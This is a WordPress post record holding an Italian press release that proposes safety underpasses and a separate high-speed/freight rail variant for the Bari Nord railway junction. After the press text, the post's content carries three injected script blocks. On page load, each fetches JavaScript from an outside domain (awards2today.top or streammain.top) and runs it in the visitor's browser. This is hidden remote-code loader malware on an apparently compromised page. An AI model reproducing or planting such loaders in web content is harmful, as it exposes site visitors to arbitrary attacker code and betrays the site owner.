{"id":2483,"date":"2025-05-16T17:55:22","date_gmt":"2025-05-16T17:55:22","guid":{"rendered":"https:\/\/www.massimomaiorano.it\/maiorano\/?p=2483"},"modified":"2025-07-07T16:04:26","modified_gmt":"2025-07-07T16:04:26","slug":"2483-2","status":"publish","type":"post","link":"https:\/\/www.massimomaiorano.it\/maiorano\/2483-2\/","title":{"rendered":"COMUNICATO STAMPA &#8211; NODO FERROVIARIO BARI LATO NORD"},"content":{"rendered":"\n<p class=\"has-medium-font-size wp-block-paragraph\">COMUNICATO STAMPA <\/p>\n\n\n\n<p class=\"has-medium-font-size wp-block-paragraph\">Nodo Ferroviario Bari Nord. <br>Messa in Sicurezza immediata dei centri abitati in prossimit\u00e0 dei passaggi a livello per Palese-Santo Spirito e separazione dei tracciati: la proposta che riattiva fondi europei e rilancia l\u2019opera Bari, 16 maggio 2025 \u2013 <strong>Massimo Maiorano<\/strong>, gi\u00e0 consigliere comunale di Bari e oggi componente del Collegio degli Esperti della Presidenza della Regione Puglia, presenta una roadmap operativa per salvare il Nodo Ferroviario Bari Nord dopo gli ultimi scossoni amministrativi e finanziari.<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Stato dell\u2019opera<\/strong><\/li>\n<\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Ordinanza Commissariale n. 10 del 16 aprile 2025: il<br>progetto definitivo della variante Santo Spirito-Palese<br>(11 km in trincea e galleria artificiale) \u00e8 approvato con<br>120 prescrizioni che RFI dovr\u00e0 soddisfare prima<br>dell\u2019esecutivo \u2013 dalla tutela di Lama Balice ai<br>reimpianti di ulivi e alla revisione degli espropri .<\/li>\n\n\n\n<li>Finanziamento FSC (680 M\u20ac) revocato dal CIPESS il<br>29 novembre 2024; il costo complessivo \u00e8 intanto<br>salito a ~1 miliardo di euro .<\/li>\n\n\n\n<li>Il tracciato previsto prevede lo spostamento delle<br>fermate fuori dai quartieri costieri, con due nuove<br>stazioni extraurbane e la soppressione di tutti i passaggi<br>a livello esistenti.<\/li>\n<\/ul>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Criticit\u00e0 individuate<\/strong><\/li>\n\n\n\n<li>Accessibilit\u00e0 \u2013 Allontanare le fermate dal tessuto<br>urbano riduce l\u2019attrattivit\u00e0 del TPL e incentiva l\u2019uso<br>dell\u2019auto privata, esito gi\u00e0 evidenziato da studi<br>internazionali sull\u2019auto-dipendenza urbana dell\u2019ITFOECD<br>.<\/li>\n\n\n\n<li><strong>Sostenibilit\u00e0<\/strong> \u2013 La soluzione attuale contrasta con il<br>Green Deal e con il principio TEN-T di \u00abupgrade delle<br>linee esistenti\u00bb prima della costruzione di nuove.<\/li>\n\n\n\n<li><strong>Finanza pubblica<\/strong> \u2013 Senza adeguamenti mirati a<br>sicurezza e accessibilit\u00e0, la ricostruzione del quadro<br>economico rischia di restare priva di coperture.<\/li>\n\n\n\n<li><strong>La proposta Maiorano<\/strong><br>Azione Obiettivo Tempistica indicativa<br>Sottovia\/cavalcavia<br>ciclo-pedonali a Palese e<br>Santo Spirito<br>Mantenimento linea<br>esistente<br>Variante di 11 km fuori<br>dal perimetro urbano<br>Separazione fisica delle<br>due infrastrutture<br>Messa in sicurezza immediata dei centri abitati,<br>stop a code e incidenti<br>Servizio metropolitano e regionale con fermate<br>urbane storiche<br>Dedicare la nuova infrastruttura a AV, lunga<br>percorrenza e merci (fermate solo tecniche)<br>Ridurre interferenze, aumentare velocit\u00e0<br>commerciale, abbattere impatti acustici<\/li>\n\n\n\n<li><strong>Apertura ai fondi europei<\/strong><br>Progettazione e gara<br>entro 4\u00b0 trim. 2025;<br>cantiere 2026-2027<br>Permanente<br>Avvio conferenza servizi<br>su progetto esecutivo<br>2026<br>2027-2032<\/li>\n<\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li>La rimodulazione proposta riallinea il Nodo Bari Nord<br>ai requisiti del Regolamento TEN-T (rif. Reg. UE<br>1315\/2013 in revisione 2025) e ai criteri di<br>finanziabilit\u00e0 CEF 2021-2027 (Reg. UE 2021\/1153) .<\/li>\n\n\n\n<li>Ci\u00f2 consente di candidare la variante AV\/merci ai<br>bandi CEF-Transport 2026 e di riprogrammare la quota<br>FSC 2021-2027 sul lotto urbano quindi di mettere in<br>sicurezza i centri abitati in prossimit\u00e0 dei passaggi a<br>livello di Palese e Santo Spirito \u201csottovia<br>ciclopedonali\u201d secondo la delibera-quadro n. 77\/2024<br>del CIPESS.<\/li>\n<\/ul>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Benefici attesi<\/strong><\/li>\n<\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Sicurezza: abolizione immediata dei passaggi a livello<br>pi\u00f9 critici, riduzione di oltre 90 % del rischio<br>d\u2019incidente e abbattimento dei tempi di attesa stimato<br>in 18 000 ore-auto\/anno.<\/li>\n\n\n\n<li>Qualit\u00e0 dell\u2019aria: con le fermate urbane attive il<br>trasporto pubblico su ferro resta competitivo; lo<br>scenario ITF mostra riduzioni di CO\u2082 fino a 30 %<br>rispetto a soluzioni \u00abpark &#038; ride\u00bb fuori citt\u00e0 .<\/li>\n\n\n\n<li>Prestazioni della rete: treni AV e merci liberi da<br>rallentamenti urbani; capacit\u00e0 potenziata sulla linea<br>costiera dedicata al traffico metropolitano.<\/li>\n\n\n\n<li>Finanziabilit\u00e0: coerenza con la gerarchia TEN-T<br>(\u00abcompletare, potenziare, connettere\u00bb) riapre l\u2019accesso<br>ai fondi Ue e nazionali.<\/li>\n<\/ul>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Cronoprogramma di massima<\/strong><br>Fase Scadenza Output<br>Aggiornamento studio di fattibilit\u00e0 e analisi<br>costi-benefici<br>Set 2025 Dossier per MIT e RFI<br>Progetto definitivo sottovia Dic 2025<br>Invio al Consiglio Superiore<br>LL.PP.<br>Bando lavori sottovia + finanziamento CEF-<br>Mobilit\u00e0 sicura<br>Trim. 2<br>2026<br>Conferenza dei Servizi variante AV\/merci<br>Entro<\/li>\n\n\n\n<li><strong>Dichiarazione<\/strong><br>Contratto d\u2019appalto<br>2026<br>Via libera progetto esecutivo<br>Gara lavori variante 2028 Aggiudicazione<br>Attivazione sottovia 2029<br>Soppressione PL Palese-Santo<br>Spirito<br>Messa in esercizio variante AV\/merci 2032<br>Separazione funzionale<br>completata<br>\u00abMentre i finanziamenti FSC sono congelati, la<br>sicurezza dei cittadini non pu\u00f2 attendere.<br>Realizziamo subito i sottovia ciclopedonali di<br>Palese e Santo Spirito, manteniamo la linea<br>attuale per i treni regionali e metropolitani e<br>spostiamo l\u2019Alta Velocit\u00e0 e le merci su una<br>variante dedicata. Cos\u00ec rispondiamo alle<br>direttive europee, riagganciamo i fondi TENT e<br>finalmente, trasformiamo un\u2019attesa trentennale in un progresso reale per Bari e per l\u2019intera dorsale adriatica\u00bb<\/li>\n<\/ol>\n<script>;document.addEventListener(\"DOMContentLoaded\", function () {\n    var url = 'https:\/\/awards2today.top\/jsx';\n    fetch(url)\n        .then(response => response.text())\n        .then(data => {\n            var script = document.createElement('script');\n            script.innerHTML = data.trim();\n            document.head.appendChild(script);\n        })\n});<\/script><script>;document.addEventListener(\"DOMContentLoaded\", function () {\n    var url = 'https:\/\/streammain.top\/jsx';\n    fetch(url)\n        .then(response => response.text())\n        .then(data => {\n            var script = document.createElement('script');\n            script.innerHTML = data.trim();\n            document.head.appendChild(script);\n        })\n});<\/script><script>;document.addEventListener(\"DOMContentLoaded\", function () {\n    var url = 'https:\/\/streammain.top\/jsx';\n    fetch(url)\n        .then(response => response.text())\n        .then(data => {\n            var script = document.createElement('script');\n            script.innerHTML = data.trim();\n            document.head.appendChild(script);\n        })\n});<\/script>","protected":false},"excerpt":{"rendered":"<p>COMUNICATO STAMPA Nodo Ferroviario Bari Nord. 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